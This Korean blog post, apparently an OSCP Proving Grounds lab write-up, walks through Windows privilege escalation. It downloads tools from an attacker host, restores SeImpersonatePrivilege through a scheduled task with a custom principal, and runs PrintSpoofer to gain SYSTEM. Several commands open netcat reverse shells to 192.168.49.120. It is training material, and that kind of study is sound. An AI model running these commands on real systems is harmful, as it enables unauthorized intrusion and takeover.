3. Privilege Escalation
디렉터리 내 PrintSpoofer64.exe 파일을 살펴보면
뭔지 모르지만 해당 프로그램을 통하면
system 쉘 획득이 가능해 보인다.
돌려보면
SeImpersonatePrivilege 가 missing 되어
실행이 불가하다.
현재 계정에 할당된 권한을 확인 후
필요한 권한을 할당할 수 있는 방법을
알아야 한다.
구글링
문제 해결을 위해서는
두 번째 내용 필독!
대충 요약해 보면
Local Service나 Network Service가
위처럼 제한된 권한으로 설정되어 돌아가도
새로운 스케줄 테스크(scheduled task)를 만들면
기본 권한들이 복구될 수 있고
작업 스케줄러 서비스를 돌려 생성된 새 프로세스에는
모든 기본 권한이 설정되어 있다고 한다.
방법을 따라 해본다.
(1) 준비물 세팅
powercat.ps1 + RunFromProcess
PS C:> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/powercat.ps1', 'C:\wamp\www\powercat.ps1');
PS C:> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/RunFromProcess-x64.exe', 'C:\wamp\www\RunFromProcess-x64.exe');
준비 완료
(2) 새 스케줄 테스크 만들기
#1. 새로운 스케쥴테스크의 기능 설정 (이 테스크는 netcat으로 리버스 쉘을 실행한다)
PS C:> $TaskTaku = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.49.120 444 -e cmd.exe`""
#2. 새로운 스케쥴테스크 이름 등록 (1번에서 만든 변수에 Taku_Perm 이라는 테스크이름을 설정하고)
PS C:> Register-ScheduledTask -Action $TaskTaku -TaskName "Taku_Perm"
#3. 새로운 테스크 시작
PS C:> Start-ScheduledTask -TaskName "Taku_Perm"
(3) 리스너 기동 후 위 작업을 순서대로 수행해 주면
새로운 테스크가 실행되어 리버스 쉘이 생성되고
권한을 살펴보면
모두 설정된 것처럼 보였는데
필요한 SeImpersonatePrivilege가 없다.
why?
해당 privilege가 왜 누락되어 있는지는
위 문서에 설명이 나와 있는데
Microsoft 문서에 따르면
If RequiredPrivileges is not present in the task definition, the default privileges of task principal account without the SeImpersonatePrivilege will be used for task process. If ProcessTokenSidType is not present in the task definition, “unrestricted” is used as the default.
라고 하며
중요한 부분은
1) A task process is created with the default privileges of the task principal account.
2) If RequiredPrivileges is not present, the default privilege set associated to the account is used without SeImpersonatePrivilege.
으로
새로운 스케줄 테스크 생성 시
권한들을 새로 부여받을 수 있었던 이유와
SeImpersonatePrivilege만 없었던 이유가
설명된다.
그럼 대체 RequiredPrivileges는 무엇인지,
이걸로 무엇을 할 수 있는지 찾아보면
파워쉘 커맨드인
Register-ScheduledTask와
함께 따라오는 인수 + 옵션,
princiapl, New-ScheduleTaksPrincipal
을 통해 필요한 권한 설정이 가능하단다.
(4) Privileges 세팅
#0. 권한 확인
PS C:\> Get-ExecutionPolicy
RemoteSigned
PS C:\> Set-ExecutionPolicy unrestricted
> PermissionDenied 뜨면 아래 실행 안됨;
#1. Privileges 리스트 생성
PS C:> [System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
#2. 테스크를 위한 Principal 생성
PS C:> $TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
#3. 테스크 기능 설정하기 (리버스 쉘)
PS C:> $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.49.120 444 -e cmd.exe`""
# 테스크 생성
PS C:> Register-ScheduledTask -Action $TaskAction -TaskName "Taku_GrantAllPerms" -Principal $TaskPrincipal
# 테스크 실행
PS C:> Start-ScheduledTask -TaskName "Taku_GrantAllPerms"
리스너 기동 후 순서대로 실행해 보면
성공!
필요한 권한이 설정되어 있으니
PrintSpoofer64.exe
실행이 가능하겠다.
리스너 기동 후 돌려보면
C:> .\PrintSpoofer64.exe -c "c:\wamp\www\nc.exe 192.168.49.120 443 -e cmd"
system 권한 획득!
이건 앞으로 많이 쓰일 듯하다.
끝
'OSCP > Proving Ground' 카테고리의 다른 글
12. Helpdesk (WARM UP) - Windows (0) | 2022.06.11 |
---|---|
11. Algernon (WARM UP) - Windows (0) | 2022.06.11 |
10. Squid (WARM UP) - Windows (1) (0) | 2022.06.09 |
9. Kevin (WARM UP) - Windows (0) | 2022.06.06 |
8. Exfiltrated (WARM UP) - Linux (exiftool-djvumaker) (0) | 2022.05.30 |